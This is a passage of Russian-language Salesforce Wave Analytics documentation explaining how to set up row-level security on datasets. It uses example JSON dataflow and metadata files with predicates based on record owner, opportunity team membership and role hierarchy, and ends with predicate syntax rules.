Теперьрассмотримвопросыбезопасностистроки. Какбудетограничиватьсядоступк каждойзаписивданномнаборе
данных?

3. Добавление предиката в файл метаданных
При использовании набора данных, созданного из CSV-файла, укажите предикат в связанномфайле метаданных или
при редактировании набора данных.

4. Создание набора данных
После обновления файла метаданных предикатом рекомендуем создать набор данных.

5. Тестирование безопасности строки для набора данных
Убедитесь в правильном применении предиката и отображении каждому пользователю только собственных
контрольных показателей продаж.

Определение данных для добавления в набор данных

Сначала определите данные, подлежащие добавлению в набор данных. В данном примере требуется создать набор
данных, содержащий все контрольные показатели продаж.

Получите контрольные показатели продаж из CSV-файла ниже.

TargetDateTargetRegionAccountOwner

1/1/201110000MidwestTony Santos

1/1/201150000NortheastLucy Timmer

12/1/20130NortheastLucy Timmer

1/1/201115000MidwestBill Rolley

1/1/201135000SouthwestKeith Laz

1/1/201140000SoutheastLucy Timmer

При создании набора данных без применения безопасности строки любой пользователь, имеющий доступ к набору
данных, сможет просматривать контрольные показатели продаж для всех ответственных за организации. Например,
согласно рисунку ниже, пользователь сможет просматривать контрольные показатели продаж для всех ответственных
за организации.
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Чтобы ограничить доступ к записям данного набора данных, примените безопасность строки.

Определение безопасности строки для набора данных

Теперь рассмотрим вопросы безопасности строки. Как будет ограничиваться доступ к каждой записи в данном наборе
данных?

Допустим, набор данных использует указанный ниже предикат.

'AccountOwner' == "$User.Name"

Прим.: Во всех примерах предикатов, рассмотренных в данном документе, используется экранирование двойных
кавычек, являющеесяобязательнымпри вводепредиката в трансформации Register илифайлеметаданных. Данный
предикатприменяетбезопасность строкинаосновеответственности за запись. Наосновеиспользуемогопредиката
Wave Analytics возвращает запись контрольного показателя продаж при отправке ответственным за организацию
запроса на набор данных.

Рассмотрим выражение предиката подробнее.

• AccountOwner ссылаетсяна столбецнабораданных, хранящийполноеимяответственногозаорганизациюдлякаждого
контрольного показателя продаж.

• $User.Name ссылается на столбец Name объекта User, хранящий полное имя каждого пользователя. Wave Analytics
выполняет поиск для получения полного имени пользователя, отправляющего каждый запрос.

Прим.: Поиск возвращает совпадение только при полном соответствии имен в AccountOwner и $User.Name; они
также должны использовать одинаковый регистр.

Добавление предиката в файл метаданных

Прииспользованиинабора данных, созданногоиз CSV-файла, укажитепредикат в связанномфайлеметаданныхилипри
редактировании набора данных.

Следует экранировать двойные кавычки вокруг строковых значений при вводе предиката в файл метаданных.
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В данном случае добавьте предикат в файл метаданных (см. пример ниже).

{
"fileFormat": {
"charsetName": "UTF-8",
"fieldsDelimitedBy": ",",
"fieldsEnclosedBy": "\"",
"numberOfLinesToIgnore": 1 },
"objects": [

{
"name": "Targets",
"fullyQualifiedName": "Targets",
"label": "Targets",
"rowLevelSecurityFilter": "'AccountOwner' == \"$User.Name\"",
"fields": [

{
"name": "AccountOwner",
"fullyQualifiedName": "Targets.AccountOwner",
"label": "Account Owner",
"type": "Text"

},
{

"name": "Region",
"fullyQualifiedName": "Targets.Region",
"label": "Region",
"type": "Text"

},
{

"name": "Target",
"fullyQualifiedName": "Targets.Target",
"label": "Target",
"type": "Numeric",
"precision": 16,
"scale": 0,
"defaultValue": "0",
"format": null

},
{

"name": "TargetDate",
"fullyQualifiedName": "Targets.TargetDate",
"label": "TargetDate",
"description": "",
"type": "Date",
"format": "dd/MM/yy HH:mm:ss",
"isSystemField": false,
"fiscalMonthOffset": 0

}
]
}

]
}
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Создание набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки CSV-файла и
файла метаданных:
• “Загрузка внешних

данных вWave Analytics

После обновленияфайла метаданных предикатом рекомендуем создать набор данных.

Внимание: Чтобы выполнить действия, указанные в данном примере,
воспользуйтесь непроизводственной средой. Убедитесь, что данные изменения
не влияют на другие созданные наборы данных.

Чтобы создать набор данных, выполните указанные ниже действия.

1. Откройте начальную страницуWave Analytics.

2. Последовательно выберите пункты «Создать» > «Набор данных».

3. Щелкните «CSV».

Данное действие инициирует отображение окна ниже.

4. Выберите CSV-файл и файл метаданных.

5. Введите «SalesTarget» в поле «Имя набора данных».

6. При необходимости выберите другое приложение для хранения набора данных.

7. Нажмите кнопку «Создать набор данных».
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Wave Analytics подтверждает успешность загрузки и создает системное задание на создание набора данных. При
необходимости просмотрите набор данных SalesTarget после выполнения задания.

8. Чтобы проверить успешность выполнения задания, выполните указанные ниже действия.

a. Чтобыоткрыть страницуотслеживания данных, щелкните значокшестеренки ( ) и выберите «Отслеживание
данных».

По умолчанию отображается представление заданий на странице отслеживания данных. В нем представлены
статусы заданий потоков данных и загрузок внешних данных.

b. Чтобы просмотреть последние статусы заданий, нажмите кнопку «Обновить задания» ( ).

Тестирование безопасности строки для набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Убедитесь вправильномприменениипредикатаиотображениикаждомупользователю
только собственных контрольных показателей продаж.

1. Выполните вход вWave Analytics от имени нужного пользователя.

2. Откройте соответствующий набор данных.
Убедитесь, что данный пользователь может просматривать только собственный
контрольный показатель продаж.

Пример безопасности строки на основе групп, работающих с возможностями
Рассмотрим пример создания набора данных на основе данных Salesforce и последующего внедрения безопасности
строкинаоснове группы, работающейсвозможностями. Вданномпримере требуется создатьнаборданных, содержащий
только возможности, связанные с рабочей группой. Чтобы ограничить доступ для каждой записи набора данных,
рекомендуем создать политику безопасности, позволяющую просматривать возможность только участникам рабочей
группы. Данный процесс состоит из нескольких этапов, описанных в разделах ниже.
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1. Определение данных для добавления в набор данных
Сначала определите данные, подлежащие добавлению в набор данных. В данном примере требуется создать набор
данных, содержащий только возможности, связанные с рабочей группой.

2. Проектирование потока данных для загрузки данных
Теперьрассмотримвопросыизвлеченияданных Salesforce иихзагрузкивнаборданных. Чтобыначатьработу, создайте
проект для потока данных ниже.

3. Определение безопасности строки для набора данных
Теперьрассмотримвопросыбезопасностистроки. Какбудетограничиватьсядоступк каждойзаписивданномнаборе
данных?

4. Изменение потока данных на основе безопасности строки
Теперь рекомендуем добавить предикат в файл определения потока данных.

5. Создание набора данных
После получения окончательного файла определения потока данных рекомендуем создать набор данных.

6. Тестирование безопасности строки для набора данных
Убедитесь в правильном применении предиката и отображении каждому пользователю соответствующих
возможностей.

Определение данных для добавления в набор данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Сначалаопределитеданные, подлежащиедобавлениювнаборданных. Вданномпримере
требуется создатьнаборданных, содержащийтольковозможности, связанныесрабочей
группой.

Получите возможности из объекта Opportunity, а рабочие группы из объекта
OpportunityTeamMember. Оба являются объектами Salesforce.

В данном примере организация Salesforce содержит группу, работающую с
возможностями, и пользователей (см. рисунок ниже).

Крометого, организациясодержитперечисленныенижевозможности, которыевосновномпринадлежатвице-президенту
по продажам.
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Выделенная возможность является единственной возможностью, предоставленной рабочей группой. Пользователь Bill
являетсяменеджеромпопродажамдляданнойвозможности. Пользователь Tony являетсяответственнымза возможность.

Проектирование потока данных для загрузки данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Теперьрассмотримвопросыизвлеченияданных Salesforce иихзагрузкивнаборданных.
Чтобы начать работу, создайте проект для потока данных ниже.

Поток данных извлекает данные из объектов Opportunity и OpportunityTeamMember,
объединяет данные и выполняет их последующую загрузку в набор данных
OppTeamMember.

Теперь примените данный проект в JSON (формат файла определения потока данных).
Файлопределенияпотока данныхсодержит трансформации, которыеизвлекают, трансформируюти загружаютданные
в набор данных.

Создайте JSON на основе проекта (см. пример ниже).

{
"Extract_OpportunityTeamMember": {

"action": "sfdcDigest",
"parameters": {

"object": "OpportunityTeamMember",
"fields": [

{ "name": "Name" },
{ "name": "OpportunityId" },
{ "name": "UserId" }

]
}

},
"Extract_Opportunity": {
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"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Augment_OpportunityTeamMember_Opportunity": {

"action": "augment",
"parameters": {

"left": "Extract_OpportunityTeamMember",
"left_key": [

"OpportunityId"
],
"relationship": "TeamMember",
"right": "Extract_Opportunity",
"right_key": [

"Id"
],
"right_select": [

"Name","Amount"
]

}
},
"Register_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppTeamMember",
"name": "OppTeamMember",
"source": "Augment_OpportunityTeamMember_Opportunity",
"rowLevelSecurityFilter": ""

}
}

}

Привыполненииданногопотока данныхWave Analytics генерируетнаборданныхбезбезопасностистроки. Какрезультат,
любой пользователь, имеющий доступ к набору данных, сможет просмотреть возможность, предоставленную рабочей
группой.

Например, пользователь сможет просмотреть возможность, принадлежащую рабочей группе, участником которой он
не является (см. рисунок ниже).
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Чтобы ограничить доступ к записям данного набора данных, примените безопасность строки.

Определение безопасности строки для набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Теперь рассмотрим вопросы безопасности строки. Как будет ограничиваться доступ к
каждой записи в данном наборе данных?

Допустим, набор данных использует указанный ниже предикат.

'UserId' == "$User.Id"

Данный предикат сравнивает столбец UserId набора данных относительно кода пользователя, выполняющего запрос к
набору данных. Данный столбец содержит код пользователя для участника рабочей группы, связанного с каждой
возможностью. Чтобыопределитькодпользователя, выполняющегозапрос, Wave Analyticsнаходитидентификационный
код для пользователя, выполняющего запрос, в объекте User.

При каждом совпаденииWave Analytics возвращает запись пользователю.
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Изменение потока данных на основе безопасности строки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Теперь рекомендуем добавить предикат в файл определения потока данных.

Добавьте предикат в трансформацию Register, регистрирующую набор данных
OppTeamMember (см. пример ниже).

{
"Extract_OpportunityTeamMember": {

"action": "sfdcDigest",
"parameters": {

"object": "OpportunityTeamMember",
"fields": [

{ "name": "Name" },
{ "name": "OpportunityId" },
{ "name": "UserId" }

]
}

},
"Extract_Opportunity": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Augment_OpportunityTeamMember_Opportunity": {

"action": "augment",
"parameters": {

"left": "Extract_OpportunityTeamMember",
"left_key": [

"OpportunityId"
],
"relationship": "TeamMember",
"right": "Extract_Opportunity",
"right_key": [
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"Id"
],
"right_select": [

"Name","Amount"
]

}
},
"Register_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppTeamMember",
"name": "OppTeamMember",
"source": "105_Augment_OpportunityTeamMember_Opportunity",
"rowLevelSecurityFilter": "'UserId' == \"$User.Id\""

}
}

}

Создание набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки, выгрузки,
выполненияи отслеживания
потока данных:
• “Изменение потока

данных Wave Analytics»

После получения окончательного файла определения потока данных рекомендуем
создать набор данных.

Внимание: Чтобы выполнить действия, указанные в данном примере, убедитесь
в наличии всех обязательных объектов и полей Salesforce и воспользуйтесь
непроизводственнойсредой. Убедитесь, чтоданныеизмененияневлияютнадругие
созданные наборы данных. Прежде чем вносить любые изменения, рекомендуем
всегда создавать резервную копию текущего файла определения потока данных
ввиду невозможности извлечения предыдущих версий файла.

Чтобы создать набор данных, выполните указанные ниже действия.

1. Чтобыоткрыть страницу отслеживания данных, щелкните значокшестеренки ( )
вWave Analytics, а затем выберите «Отслеживание данных».
Поумолчаниюотображаетсяпредставлениезаданийстраницыотслеживанияданных.

2. ВыберитеПредставление потока данных.

3. Чтобы загрузить текущийфайл определения потока данных, щелкните список
действий (1) для потока данных и выберите действие «Загрузить».
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4. Откройте файл определения потока данных посредством JSON или текстового редактора.

5. Добавьте JSON из предыдущего этапа.

6. Преждечемсохранитьфайлопределенияпотока данных, воспользуйтесьинструментомпроверки JSON дляпроверки
допустимости JSON.

При загрузке файла определения потока данных, содержащего недопустимый JSON, возникает ошибка. Инструмент
проверки JSON доступен в Интернете.

7. Сохраните и закройте файл определения потока данных.

8. Щелкните список действий в представлении потока данных на странице отслеживания данных и выберите действие
«Выгрузить».

9. Выберите обновленныйфайл определения потока данных и щелкните «Выгрузить».

10. Чтобы выполнить задание потока данных, щелкните список действий в представлении потока данных на странице
отслеживания данных и выберите действие «Выполнить».

11. Чтобы просмотреть последний статус задания потока данных, нажмите кнопку «Обновить задания» ( ).
При необходимости просмотрите созданный набор данных после выполнения задания потока данных.

Прим.: При добавлении предиката в набор данных, созданный ранее, каждый пользователь должен выполнить
выход и повторный вход для активации предиката.

Тестирование безопасности строки для набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Убедитесь вправильномприменениипредикатаиотображениикаждомупользователю
соответствующих возможностей.

1. Выполните вход вWave Analytics от имени Lucy.

2. Откройте соответствующую возможность.
Убедитесь, чтоданныйпользовательбольшенеможетпросматривать возможность,
связанную с рабочей группой, так как не является ее участником.
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3. Выполните выход и повторный вход от имени другого пользователя.
Данный пользователь может просматривать возможность, предоставленную рабочей группой, участником которой
он является.

Пример безопасности строки на основе иерархии ролей и ответственности за запись
Рассмотрим пример создания набора данных на основе данных Salesforce и последующего внедрения безопасности
строки на основе иерархии ролей Salesforce и ответственности за запись. В данном примере требуется создать набор
данных, содержащийвсе возможности. Чтобыограничитьдоступдля каждойзаписинабораданных, рекомендуемсоздать
политику безопасности, позволяющую каждому пользователю просматривать только собственные возможности или
возможности, принадлежащие их подчиненным на основе иерархии ролей Salesforce. Данный процесс состоит из
нескольких этапов, описанных в разделах ниже.

1. Определение данных для добавления в набор данных
Сначала определите данные, подлежащие добавлению в набор данных. В данном примере требуется создать набор
данных, содержащий все возможности, а также сведения о пользователе для каждого ответственного за возможность
(например, полное имя, подразделение и должность).

2. Проектирование потока данных для загрузки данных
Теперь рассмотримвопросыизвлечения данныхиих загрузки внабор данных. Чтобыначать работу, создайтепроект
для потока данных ниже.
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3. Определение безопасности строки для набора данных
Теперьрассмотримвопросыбезопасностистроки. Какбудетограничиватьсядоступк каждойзаписивданномнаборе
данных?

4. Изменение потока данных на основе безопасности строки
Теперь рекомендуем изменить файл определения потока данных с учетом предиката.

5. Создание набора данных
После получения окончательного файла определения потока данных рекомендуем создать набор данных.

6. Тестирование безопасности строки для набора данных
Убедитесь в правильном применении предиката и отображении каждому пользователю соответствующих
возможностей.

СМ. ТАКЖЕ:

Параметры flatten

Определение данных для добавления в набор данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Сначалаопределитеданные, подлежащиедобавлениювнаборданных. Вданномпримере
требуется создать набор данных, содержащий все возможности, а также сведения о
пользователе для каждого ответственного за возможность (например, полное имя,
подразделение и должность).

Получите возможности из объекта Opportunity, а сведения о пользователе из объекта
User. Оба являются объектами Salesforce.

В данном примере организация Salesforce содержит иерархию ролей и пользователей
(см. рисунок ниже).

Крометого, организациясодержитперечисленныенижевозможности, которыевосновномпринадлежатвице-президенту
по продажам.
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Проектирование потока данных для загрузки данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Теперь рассмотрим вопросы извлечения данных и их загрузки в набор данных. Чтобы
начать работу, создайте проект для потока данных ниже.

Поток данных извлекает данные из объектов Opportunity и User, объединяет данные и
выполняет их последующую загрузку в набор данных OppRoles.

Теперь примените данный проект в JSON (формат файла определения потока данных).
Файл определения потока данных содержит трансформации, которые извлекают,
трансформируют и загружают данные в набор данных.

Создайте JSON на основе проекта (см. пример ниже).

{
"Extract_Opportunity": {

"action": "sfdcDigest",
"parameters": {
"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }
]

}
},
"Extract_User": {

"action": "sfdcDigest",
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"parameters": {
"object": "User",
"fields": [

{ "name": "Id" },
{ "name": "Username" },
{ "name": "LastName" },
{ "name": "FirstName" },
{ "name": "Name" },
{ "name": "CompanyName" },
{ "name": "Division" },
{ "name": "Department" },
{ "name": "Title" },
{ "name": "Alias" },
{ "name": "CommunityNickname" },
{ "name": "UserType" },
{ "name": "UserRoleId" }
]

}
},
"Augment_Opportunity_User": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunity",
"left_key": [

"OwnerId"
],
"right": "Extract_User",
"relationship": "Owner",
"right_select": [

"Name"
],
"right_key": [

"Id"
]

}
},
"Register": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppRoles",
"name": "OppRoles",
"source": "Augment_Opportunity_User",
"rowLevelSecurityFilter": ""

}
}

}

Привыполненииданногопотока данныхWave Analytics генерируетнаборданныхбезбезопасностистроки. Какрезультат,
любойпользователь, имеющийдоступкнаборуданных, сможетпросмотретьвсе возможности. Например, пользователь
сможет просмотреть все возможности, включая возможности, принадлежащие его менеджеру (см. рисунок ниже).
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Чтобы ограничить доступ к записям данного набора данных, примените безопасность строки.

Определение безопасности строки для набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Теперь рассмотрим вопросы безопасности строки. Как будет ограничиваться доступ к
каждой записи в данном наборе данных?

Допустим, набор данных использует указанный ниже предикат.

'ParentRoleIDs' == "$User.UserRoleId" || 'OwnerId' == "$User.Id"

Прим.: Текущий поток данных не содержит логику для создания столбца набора данных по имени «ParentRoleIDs».
ParentRoleIDs является структурнымнулемдляименистолбца, которыйбудет содержатьданнуюинформацию. Чтобы
добавить данный столбец в набор данных, измените поток данных на следующем этапе. Имя данного столбца
изменится согласно настройкам потока данных.

На основе используемого предикатаWave Analytics возвращает запись возможности при выполнении указанных ниже
условий.
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• Пользователь, отправляющийзапрос, является родителемответственного за возможностьна основеиерархииролей
Salesforce. Wave Analytics определяет данное условие на основе кодов ролей пользователей и иерархии ролей.

• Пользователь, отправляющий запрос на набор данных, является ответственным за возможность.

Рассмотрим обе части данного предиката.

ОписаниеЧасть предиката

'ParentRoleIDs' == "$User.UserRoleId" • ParentRoleIDs ссылается на столбец набора данных,
содержащий список кодов ролей (через запятую) всех
вышестоящихпользователейнаосновеиерархииролей.
Рекомендации по созданию данного столбца см. в
следующем разделе.

• $User.UserRoleId ссылаетсяна столбец UserRoleId объекта
User. Wave Analytics находит код роли для пользователя,
отправляющего запрос, в объекте User.

'OwnerId' == "$User.Id" • OwnerId ссылается на столбец набора данных,
содержащий код пользователя для ответственного за
каждую возможность.

• $User.Id ссылается на столбец Id объекта User. Wave
Analytics находит идентификационный код для
пользователя, отправляющего запрос, в объекте User.

Изменение потока данных на основе безопасности строки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Теперь рекомендуем изменить файл определения потока данных с учетом предиката.

В данном сценарии требуется изменить поток данных на основе предиката.

• Добавьте столбец в набор данных, хранящий список кодов ролей (через запятую)
всех родителей для каждого ответственного за возможность. При определении
предикатанапредыдущемэтапеданныйстолбецвременноназывался «ParentRoleIDs».
Чтобы добавить столбец, измените проект потока данных (см. диаграмму ниже).
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Новый проект потока данных содержит изменения ниже.

– Извлечение кодов ролей из объекта UserRole.

– Использование трансформации flatten для создания столбца, хранящего список кодов ролей (через запятую) всех
родителейдлякаждогопользователя. Приопределениипредикатанапредыдущемэтапеданныйстолбецвременно
назывался «ParentRoleIDs».

– Связывание нового столбца с набором данных OppRoles.

• Добавьте предикат в трансформацию Register, регистрирующую набор данных OppRoles.

Измените поток данных (см. пример ниже).

{
"Extract_Opportunity": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Extract_User": {

"action": "sfdcDigest",
"parameters": {

"object": "User",
"fields": [

{ "name": "Id" },
{ "name": "Username" },
{ "name": "LastName" },
{ "name": "FirstName" },
{ "name": "Name" },
{ "name": "CompanyName" },
{ "name": "Division" },
{ "name": "Department" },
{ "name": "Title" },
{ "name": "Alias" },
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{ "name": "CommunityNickname" },
{ "name": "UserType" },
{ "name": "UserRoleId" }

]
}

},
"Extract_UserRole": {

"action": "sfdcDigest",
"parameters": {

"object": "UserRole",
"fields": [

{ "name": "Id" },
{ "name": "ParentRoleId" },
{ "name": "RollupDescription" },
{ "name": "OpportunityAccessForAccountOwner" },
{ "name": "CaseAccessForAccountOwner" },
{ "name": "ContactAccessForAccountOwner" },
{ "name": "ForecastUserId" },
{ "name": "MayForecastManagerShare" },
{ "name": "LastModifiedDate" },
{ "name": "LastModifiedById" },
{ "name": "SystemModstamp" },
{ "name": "DeveloperName" },
{ "name": "PortalAccountId" },
{ "name": "PortalType" },
{ "name": "PortalAccountOwnerId" }

]
}

},
"Flatten_UserRole": {

"action": "flatten",
"parameters": {

"multi_field": "Roles",
"parent_field": "ParentRoleId",
"path_field": "RolePath",
"self_field": "Id",
"source": "Extract_UserRole"

}
},
"Augment_User_FlattenUserRole": {

"action": "augment",
"parameters": {

"left": "Extract_User",
"left_key": [

"UserRoleId"
],
"relationship": "Role",
"right": "Flatten_UserRole",
"right_key": [

"Id"
],
"right_select": [

"Roles",
"RolePath"
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]
}

},
"Augment_Opportunity_UserWithRoles": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunity",
"left_key": [

"OwnerId"
],
"right": "Augment_User_FlattenUserRole",
"relationship": "Owner",
"right_select": [

"Name",
"Role.Roles",
"Role.RolePath"

],
"right_key": [

"Id"
]

}
},
"Register": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppRoles",
"name": "OppRoles",
"source": "Augment_Opportunity_UserWithRoles",

"rowLevelSecurityFilter": "'Owner.Role.Roles' == \"$User.UserRoleId\" || 'OwnerId'
== \"$User.Id\""

}
}

}

Прим.: В данном примере набор данных содержит столбцы Owner.Role.Roles и OwnerId. Пользователь может
просматривать значения данных столбцов для каждой доступной записи.
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Создание набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки, выгрузки,
выполненияи отслеживания
потока данных:
• “Изменение потока

данных Wave Analytics»

После получения окончательного файла определения потока данных рекомендуем
создать набор данных.

Внимание: Чтобы выполнить действия, указанные в данном примере, убедитесь
в наличии всех обязательных объектов и полей Salesforce и воспользуйтесь
непроизводственнойсредой. Убедитесь, чтоданныеизмененияневлияютнадругие
созданные наборы данных. Прежде чем вносить любые изменения, рекомендуем
всегда создавать резервную копию текущего файла определения потока данных
ввиду невозможности извлечения предыдущих версий файла.

Чтобы создать набор данных, выполните указанные ниже действия.

1. Чтобыоткрыть страницу отслеживания данных, щелкните значокшестеренки ( )
вWave Analytics, а затем выберите «Отслеживание данных».
Поумолчаниюотображаетсяпредставлениезаданийстраницыотслеживанияданных.

2. ВыберитеПредставление потока данных.

3. Чтобы загрузить текущийфайл определения потока данных, щелкните список
действий (1) для потока данных и выберите действие «Загрузить».

4. Откройте файл определения потока данных посредством JSON или текстового редактора.

5. Добавьте JSON из предыдущего этапа.

6. Преждечемсохранитьфайлопределенияпотока данных, воспользуйтесьинструментомпроверки JSON дляпроверки
допустимости JSON.

При загрузке файла определения потока данных, содержащего недопустимый JSON, возникает ошибка. Инструмент
проверки JSON доступен в Интернете.

7. Сохраните и закройте файл определения потока данных.

8. Щелкните список действий в представлении потока данных на странице отслеживания данных и выберите действие
«Выгрузить».
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9. Выберите обновленныйфайл определения потока данных и щелкните «Выгрузить».

10. Чтобы выполнить задание потока данных, щелкните список действий в представлении потока данных на странице
отслеживания данных и выберите действие «Выполнить».

11. Чтобы просмотреть последний статус задания потока данных, нажмите кнопку «Обновить задания» ( ).
При необходимости просмотрите созданный набор данных после выполнения задания потока данных.

Прим.: При добавлении предиката в набор данных, созданный ранее, каждый пользователь должен выполнить
выход и повторный вход для активации предиката.

Тестирование безопасности строки для набора данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

• “”

• “”

Убедитесь вправильномприменениипредикатаиотображениикаждомупользователю
соответствующих возможностей.

1. Выполните вход вWave Analytics от имени другого пользователя.

2. Откройте соответствующую возможность.
Убедитесь, чтоданныйпользовательбольшенеможетпросматривать возможности
своегоменеджера. Теперьонможетпросматриватьтолькособственнуювозможность
и возможность своего подчиненного.

3. Выполните выход и повторный вход от имени другого пользователя.
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Как и ожидалось, данный пользователь может просматривать все возможности.

Синтаксис выражения предиката
При определении выражения предиката рекомендуем использовать допустимый синтаксис.

Выражение предиката должно использовать указанный ниже синтаксис.

<столбец набора данных> <оператор> <значение>

Например, при необходимости определите следующее выражение предиката для набора данных:

'UserId' == "$User.Id"

При необходимости создайте более сложные выражения предиката. Например:

(‘Expected_Revenue’ > 4000 || ‘Stage Name’ == "Closed Won") && ‘isDeleted’ != "False"

Ниже перечислены требования для выражения предиката.

• Выражение чувствительно к регистру.

• Длина выражения не может превышать 1 000 символов.

• Выражение должно содержать как минимум один пробел между столбцом набора данных и оператором, между
оператором и значением, а также вокруг логических операторов. Данное выражение является недопустимым:
‘Revenue’>100. Оно должно содержать пробелы: ‘Revenue’ > 100.

3889

Интеграция данныхAnalytics



При применении недопустимого предиката к набору данных запрос набора данных инициирует отображение ошибки.

Столбцы набора данных в выражении предиката
Рекомендуем добавить как минимум один столбец набора данных в качестве выражения предиката.

Значения в выражении предиката
Значениев выражениипредикатаможетбыть строковымиличисловымлитералом. Такжеономожетбыть значением
поля из объекта User системы Salesforce.

Последовательности экранирования
Рекомендуемиспользовать символобратнойкосойчерты (\) для экранированиясимволовименстолбцовистроковых
значений в выражении предиката.

Поддержка набора символов
Wave Analytics позволяет использовать символы UTF-8 в значениях и именах столбцов набора данных в выражении

предиката. Символы, отличные от UTF-8, заменяютсяWave Analytics на символы UTF-8 ( ). ЕслиWave Analytics
заменяет символ, отличный от UTF-8, в выражениипредиката, то пользователяммогут отображаться непредвиденные
результаты запросов.

Специальные символы
Некоторые символы имеют особое значение вWave Analytics.

Операторы
Выражения предиката могут содержать операторы сравнения и логические операторы.

Выборочные выражения предиката
Чтобы определить алгоритм построения выражения предиката, воспользуйтесь выборками ниже.

Столбцы набора данных в выражении предиката
Рекомендуем добавить как минимум один столбец набора данных в качестве выражения предиката.

Ниже перечислены требования для столбцов набора данных в выражении предиката.

• Имена столбцов чувствительны к регистру.

• Имена столбцов должны быть окружены одинарными кавычками ('). Например, 'Region' == "South".

Прим.: Набор символов, окруженный двойными кавычками, обрабатывается как строка, а не имя столбца.

• Одинарные кавычки, окружающие имена столбцов, должны экранироваться. Например, 'Team\'s Name' ==
"West Region Accounts"

Значения в выражении предиката
Значение в выражении предиката может быть строковым или числовым литералом. Также оно может быть значением
поля из объекта User системы Salesforce.

Ниже перечислены требования для каждого типа значения.

Примеры выражения предикатаТребованияТип значения

Использование двойных кавычек и их
экранирование.

строковый литерал • 'Owner' == "Amber"
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Примеры выражения предикатаТребованияТип значения

• 'Stage Name' == "Closed
Won"

Возможноиспользованиетипаданных
float или long. Не рекомендуем
использовать кавычки.

числовой литерал • 'Expected_Revenue' >=
2000.00

• 'NetLoss' < -10000

При обращении к полю объекта User
воспользуйтесь следующим

значение поля • 'Owner.Role' ==
"$User.UserRoleId"

синтаксисом: $User.[поле]. Назначьте
полю API-имя.

При необходимости укажите
стандартные или настраиваемые поля.

• 'GroupID' ==
"$User.UserGroupId__c"

При определении предиката для
набора данных убедитесь в наличии
доступа для чтения ко всем полям
объекта User, использованным для
создания выражения предиката.

Тем не менее, если пользователь
запрашивает набор данных,
использующий предикат на основе
объекта User, тоWave Analytics
использует полномочия доступа
пользователябезопасности Insights для
оценкивыраженияпредикатанаоснове
объекта User.

Прим.: По умолчанию
пользователю безопасности не
